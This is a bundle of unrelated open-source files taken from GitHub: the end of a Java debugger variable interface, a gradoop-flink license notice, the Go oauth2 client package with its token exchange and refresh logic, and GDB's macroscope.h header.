* @throws DebugException
*/
boolean isArgument() throws DebugException;
/**
* Returns if this variable is an exception caught
*
* @return boolean
* @throws DebugException
*/
boolean isException() throws DebugException;
/**
* Returns if this variable is in a global scope
*
* @return boolean
* @throws DebugException
*/
boolean isTopLevel() throws DebugException;
/**
* Returns full variable name
*
* @return
*/
String getFullName();
}
| {
"pile_set_name": "Github"
} |
gradoop-flink
Copyright 2014-2019 Leipzig University (Database Research Group)
This project bundles the following dependencies under the Apache Software License 2.0 (http://www.apache.org/licenses/LICENSE-2.0.txt)
- me.lemire.integercompression:JavaFastPFOR:0.1.10
- me.lemire.integercompression:IntCompressor:0.1.10
- me.lemire.integercompression:Simple16:0.1.10
- org.apache.flink:flink-hbase_2.11:1.7.0
- org.apache.flink:flink-java:1.7.0
- org.apache.flink:flink-gelly_2.11:1.7.0
| {
"pile_set_name": "Github"
} |
// Copyright 2014 The oauth2 Authors. All rights reserved.
// Use of this source code is governed by a BSD-style
// license that can be found in the LICENSE file.
// Package oauth2 provides support for making
// OAuth2 authorized and authenticated HTTP requests.
// It can additionally grant authorization with Bearer JWT.
package oauth2
import (
"bytes"
"encoding/json"
"errors"
"fmt"
"io"
"io/ioutil"
"mime"
"net/http"
"net/url"
"strconv"
"strings"
"sync"
"time"
"golang.org/x/net/context"
)
// Context can be an golang.org/x/net.Context, or an App Engine Context.
// If you don't care and aren't running on App Engine, you may use NoContext.
type Context interface{}
// NoContext is the default context. If you're not running this code
// on App Engine or not using golang.org/x/net.Context to provide a custom
// HTTP client, you should use NoContext.
var NoContext Context = nil
// Config describes a typical 3-legged OAuth2 flow, with both the
// client application information and the server's endpoint URLs.
type Config struct {
// ClientID is the application's ID.
ClientID string
// ClientSecret is the application's secret.
ClientSecret string
// Endpoint contains the resource server's token endpoint
// URLs. These are constants specific to each server and are
// often available via site-specific packages, such as
// google.Endpoint or github.Endpoint.
Endpoint Endpoint
// RedirectURL is the URL to redirect users going through
// the OAuth flow, after the resource owner's URLs.
RedirectURL string
// Scope specifies optional requested permissions.
Scopes []string
}
// A TokenSource is anything that can return a token.
type TokenSource interface {
// Token returns a token or an error.
// Token must be safe for concurrent use by multiple goroutines.
// The returned Token must not be modified.
Token() (*Token, error)
}
// Endpoint contains the OAuth 2.0 provider's authorization and token
// endpoint URLs.
type Endpoint struct {
AuthURL string
TokenURL string
}
var (
// AccessTypeOnline and AccessTypeOffline are options passed
// to the Options.AuthCodeURL method. They modify the
// "access_type" field that gets sent in the URL returned by
// AuthCodeURL.
//
// Online (the default if neither is specified) is the default.
// If your application needs to refresh access tokens when the
// user is not present at the browser, then use offline. This
// will result in your application obtaining a refresh token
// the first time your application exchanges an authorization
// code for a user.
AccessTypeOnline AuthCodeOption = setParam{"access_type", "online"}
AccessTypeOffline AuthCodeOption = setParam{"access_type", "offline"}
// ApprovalForce forces the users to view the consent dialog
// and confirm the permissions request at the URL returned
// from AuthCodeURL, even if they've already done so.
ApprovalForce AuthCodeOption = setParam{"approval_prompt", "force"}
)
type setParam struct{ k, v string }
func (p setParam) setValue(m url.Values) { m.Set(p.k, p.v) }
// An AuthCodeOption is passed to Config.AuthCodeURL.
type AuthCodeOption interface {
setValue(url.Values)
}
// AuthCodeURL returns a URL to OAuth 2.0 provider's consent page
// that asks for permissions for the required scopes explicitly.
//
// State is a token to protect the user from CSRF attacks. You must
// always provide a non-zero string and validate that it matches the
// the state query parameter on your redirect callback.
// See http://tools.ietf.org/html/rfc6749#section-10.12 for more info.
//
// Opts may include AccessTypeOnline or AccessTypeOffline, as well
// as ApprovalForce.
func (c *Config) AuthCodeURL(state string, opts ...AuthCodeOption) string {
var buf bytes.Buffer
buf.WriteString(c.Endpoint.AuthURL)
v := url.Values{
"response_type": {"code"},
"client_id": {c.ClientID},
"redirect_uri": condVal(c.RedirectURL),
"scope": condVal(strings.Join(c.Scopes, " ")),
"state": condVal(state),
}
for _, opt := range opts {
opt.setValue(v)
}
if strings.Contains(c.Endpoint.AuthURL, "?") {
buf.WriteByte('&')
} else {
buf.WriteByte('?')
}
buf.WriteString(v.Encode())
return buf.String()
}
// Exchange converts an authorization code into a token.
//
// It is used after a resource provider redirects the user back
// to the Redirect URI (the URL obtained from AuthCodeURL).
//
// The HTTP client to use is derived from the context. If nil,
// http.DefaultClient is used. See the Context type's documentation.
//
// The code will be in the *http.Request.FormValue("code"). Before
// calling Exchange, be sure to validate FormValue("state").
func (c *Config) Exchange(ctx Context, code string) (*Token, error) {
return retrieveToken(ctx, c, url.Values{
"grant_type": {"authorization_code"},
"code": {code},
"redirect_uri": condVal(c.RedirectURL),
"scope": condVal(strings.Join(c.Scopes, " ")),
})
}
// contextClientFunc is a func which tries to return an *http.Client
// given a Context value. If it returns an error, the search stops
// with that error. If it returns (nil, nil), the search continues
// down the list of registered funcs.
type contextClientFunc func(Context) (*http.Client, error)
var contextClientFuncs []contextClientFunc
func registerContextClientFunc(fn contextClientFunc) {
contextClientFuncs = append(contextClientFuncs, fn)
}
func contextClient(ctx Context) (*http.Client, error) {
for _, fn := range contextClientFuncs {
c, err := fn(ctx)
if err != nil {
return nil, err
}
if c != nil {
return c, nil
}
}
if xc, ok := ctx.(context.Context); ok {
if hc, ok := xc.Value(HTTPClient).(*http.Client); ok {
return hc, nil
}
}
return http.DefaultClient, nil
}
func contextTransport(ctx Context) http.RoundTripper {
hc, err := contextClient(ctx)
if err != nil {
// This is a rare error case (somebody using nil on App Engine),
// so I'd rather not everybody do an error check on this Client
// method. They can get the error that they're doing it wrong
// later, at client.Get/PostForm time.
return errorTransport{err}
}
return hc.Transport
}
// Client returns an HTTP client using the provided token.
// The token will auto-refresh as necessary. The underlying
// HTTP transport will be obtained using the provided context.
// The returned client and its Transport should not be modified.
func (c *Config) Client(ctx Context, t *Token) *http.Client {
return NewClient(ctx, c.TokenSource(ctx, t))
}
// TokenSource returns a TokenSource that returns t until t expires,
// automatically refreshing it as necessary using the provided context.
// See the the Context documentation.
//
// Most users will use Config.Client instead.
func (c *Config) TokenSource(ctx Context, t *Token) TokenSource {
nwn := &reuseTokenSource{t: t}
nwn.new = tokenRefresher{
ctx: ctx,
conf: c,
oldToken: &nwn.t,
}
return nwn
}
// tokenRefresher is a TokenSource that makes "grant_type"=="refresh_token"
// HTTP requests to renew a token using a RefreshToken.
type tokenRefresher struct {
ctx Context // used to get HTTP requests
conf *Config
oldToken **Token // pointer to old *Token w/ RefreshToken
}
func (tf tokenRefresher) Token() (*Token, error) {
t := *tf.oldToken
if t == nil {
return nil, errors.New("oauth2: attempted use of nil Token")
}
if t.RefreshToken == "" {
return nil, errors.New("oauth2: token expired and refresh token is not set")
}
return retrieveToken(tf.ctx, tf.conf, url.Values{
"grant_type": {"refresh_token"},
"refresh_token": {t.RefreshToken},
})
}
// reuseTokenSource is a TokenSource that holds a single token in memory
// and validates its expiry before each call to retrieve it with
// Token. If it's expired, it will be auto-refreshed using the
// new TokenSource.
//
// The first call to TokenRefresher must be SetToken.
type reuseTokenSource struct {
new TokenSource // called when t is expired.
mu sync.Mutex // guards t
t *Token
}
// Token returns the current token if it's still valid, else will
// refresh the current token (using r.Context for HTTP client
// information) and return the new one.
func (s *reuseTokenSource) Token() (*Token, error) {
s.mu.Lock()
defer s.mu.Unlock()
if s.t.Valid() {
return s.t, nil
}
t, err := s.new.Token()
if err != nil {
return nil, err
}
s.t = t
return t, nil
}
func retrieveToken(ctx Context, c *Config, v url.Values) (*Token, error) {
hc, err := contextClient(ctx)
if err != nil {
return nil, err
}
v.Set("client_id", c.ClientID)
bustedAuth := !providerAuthHeaderWorks(c.Endpoint.TokenURL)
if bustedAuth && c.ClientSecret != "" {
v.Set("client_secret", c.ClientSecret)
}
req, err := http.NewRequest("POST", c.Endpoint.TokenURL, strings.NewReader(v.Encode()))
if err != nil {
return nil, err
}
req.Header.Set("Content-Type", "application/x-www-form-urlencoded")
if !bustedAuth && c.ClientSecret != "" {
req.SetBasicAuth(c.ClientID, c.ClientSecret)
}
r, err := hc.Do(req)
if err != nil {
return nil, err
}
defer r.Body.Close()
body, err := ioutil.ReadAll(io.LimitReader(r.Body, 1<<20))
if err != nil {
return nil, fmt.Errorf("oauth2: cannot fetch token: %v", err)
}
if code := r.StatusCode; code < 200 || code > 299 {
return nil, fmt.Errorf("oauth2: cannot fetch token: %v\nResponse: %s", r.Status, body)
}
var token *Token
content, _, _ := mime.ParseMediaType(r.Header.Get("Content-Type"))
switch content {
case "application/x-www-form-urlencoded", "text/plain":
vals, err := url.ParseQuery(string(body))
if err != nil {
return nil, err
}
token = &Token{
AccessToken: vals.Get("access_token"),
TokenType: vals.Get("token_type"),
RefreshToken: vals.Get("refresh_token"),
raw: vals,
}
e := vals.Get("expires_in")
if e == "" {
// TODO(jbd): Facebook's OAuth2 implementation is broken and
// returns expires_in field in expires. Remove the fallback to expires,
// when Facebook fixes their implementation.
e = vals.Get("expires")
}
expires, _ := strconv.Atoi(e)
if expires != 0 {
token.Expiry = time.Now().Add(time.Duration(expires) * time.Second)
}
default:
var tj tokenJSON
if err = json.Unmarshal(body, &tj); err != nil {
return nil, err
}
token = &Token{
AccessToken: tj.AccessToken,
TokenType: tj.TokenType,
RefreshToken: tj.RefreshToken,
Expiry: tj.expiry(),
raw: make(map[string]interface{}),
}
json.Unmarshal(body, &token.raw) // no error checks for optional fields
}
// Don't overwrite `RefreshToken` with an empty value
// if this was a token refreshing request.
if token.RefreshToken == "" {
token.RefreshToken = v.Get("refresh_token")
}
return token, nil
}
// tokenJSON is the struct representing the HTTP response from OAuth2
// providers returning a token in JSON form.
type tokenJSON struct {
AccessToken string `json:"access_token"`
TokenType string `json:"token_type"`
RefreshToken string `json:"refresh_token"`
ExpiresIn int32 `json:"expires_in"`
Expires int32 `json:"expires"` // broken Facebook spelling of expires_in
}
func (e *tokenJSON) expiry() (t time.Time) {
if v := e.ExpiresIn; v != 0 {
return time.Now().Add(time.Duration(v) * time.Second)
}
if v := e.Expires; v != 0 {
return time.Now().Add(time.Duration(v) * time.Second)
}
return
}
func condVal(v string) []string {
if v == "" {
return nil
}
return []string{v}
}
// providerAuthHeaderWorks reports whether the OAuth2 server identified by the tokenURL
// implements the OAuth2 spec correctly
// See https://code.google.com/p/goauth2/issues/detail?id=31 for background.
// In summary:
// - Reddit only accepts client secret in the Authorization header
// - Dropbox accepts either it in URL param or Auth header, but not both.
// - Google only accepts URL param (not spec compliant?), not Auth header
func providerAuthHeaderWorks(tokenURL string) bool {
if strings.HasPrefix(tokenURL, "https://accounts.google.com/") ||
strings.HasPrefix(tokenURL, "https://github.com/") ||
strings.HasPrefix(tokenURL, "https://api.instagram.com/") ||
strings.HasPrefix(tokenURL, "https://www.douban.com/") ||
strings.HasPrefix(tokenURL, "https://api.dropbox.com/") ||
strings.HasPrefix(tokenURL, "https://api.soundcloud.com/") ||
strings.HasPrefix(tokenURL, "https://www.linkedin.com/") {
// Some sites fail to implement the OAuth2 spec fully.
return false
}
// Assume the provider implements the spec properly
// otherwise. We can add more exceptions as they're
// discovered. We will _not_ be adding configurable hooks
// to this package to let users select server bugs.
return true
}
// HTTPClient is the context key to use with golang.org/x/net/context's
// WithValue function to associate an *http.Client value with a context.
var HTTPClient contextKey
// contextKey is just an empty struct. It exists so HTTPClient can be
// an immutable public variable with a unique type. It's immutable
// because nobody else can create a contextKey, being unexported.
type contextKey struct{}
// NewClient creates an *http.Client from a Context and TokenSource.
// The returned client is not valid beyond the lifetime of the context.
//
// As a special case, if src is nil, a non-OAuth2 client is returned
// using the provided context. This exists to support related OAuth2
// packages.
func NewClient(ctx Context, src TokenSource) *http.Client {
if src == nil {
c, err := contextClient(ctx)
if err != nil {
return &http.Client{Transport: errorTransport{err}}
}
return c
}
return &http.Client{
Transport: &Transport{
Base: contextTransport(ctx),
Source: ReuseTokenSource(nil, src),
},
}
}
// ReuseTokenSource returns a TokenSource which repeatedly returns the
// same token as long as it's valid, starting with t.
// When its cached token is invalid, a new token is obtained from src.
//
// ReuseTokenSource is typically used to reuse tokens from a cache
// (such as a file on disk) between runs of a program, rather than
// obtaining new tokens unnecessarily.
//
// The initial token t may be nil, in which case the TokenSource is
// wrapped in a caching version if it isn't one already. This also
// means it's always safe to wrap ReuseTokenSource around any other
// TokenSource without adverse effects.
func ReuseTokenSource(t *Token, src TokenSource) TokenSource {
// Don't wrap a reuseTokenSource in itself. That would work,
// but cause an unnecessary number of mutex operations.
// Just build the equivalent one.
if rt, ok := src.(*reuseTokenSource); ok {
if t == nil {
// Just use it directly.
return rt
}
src = rt.new
}
return &reuseTokenSource{
t: t,
new: src,
}
}
| {
"pile_set_name": "Github"
} |
/* Interface to functions for deciding which macros are currently in scope.
Copyright (C) 2002-2020 Free Software Foundation, Inc.
Contributed by Red Hat, Inc.
This file is part of GDB.
This program is free software; you can redistribute it and/or modify
it under the terms of the GNU General Public License as published by
the Free Software Foundation; either version 3 of the License, or
(at your option) any later version.
This program is distributed in the hope that it will be useful,
but WITHOUT ANY WARRANTY; without even the implied warranty of
MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the
GNU General Public License for more details.
You should have received a copy of the GNU General Public License
along with this program. If not, see <http://www.gnu.org/licenses/>. */
#ifndef MACROSCOPE_H
#define MACROSCOPE_H
#include "macrotab.h"
#include "symtab.h"
/* The table of macros defined by the user. */
extern struct macro_table *macro_user_macros;
/* All the information we need to decide which macro definitions are
in scope: a source file (either a main source file or an
#inclusion), and a line number in that file. */
struct macro_scope {
struct macro_source_file *file;
int line;
};
/* Return a `struct macro_scope' object corresponding to the symtab
and line given in SAL. If we have no macro information for that
location, or if SAL's pc is zero, return zero. */
gdb::unique_xmalloc_ptr<struct macro_scope> sal_macro_scope
(struct symtab_and_line sal);
/* Return a `struct macro_scope' object representing just the
user-defined macros. */
gdb::unique_xmalloc_ptr<struct macro_scope> user_macro_scope (void);
/* Return a `struct macro_scope' object describing the scope the `macro
expand' and `macro expand-once' commands should use for looking up
macros. If we have a selected frame, this is the source location of
its PC; otherwise, this is the last listing position.
If we have no macro information for the current location, return
the user macro scope. */
gdb::unique_xmalloc_ptr<struct macro_scope> default_macro_scope (void);
/* Look up the definition of the macro named NAME in scope at the source
location given by MS. */
macro_definition *standard_macro_lookup (const char *name,
const macro_scope &ms);
#endif /* MACROSCOPE_H */
| {
"pile_set_name": "Github"
} |
Subsets and Splits
No community queries yet
The top public SQL queries from the community will appear here once available.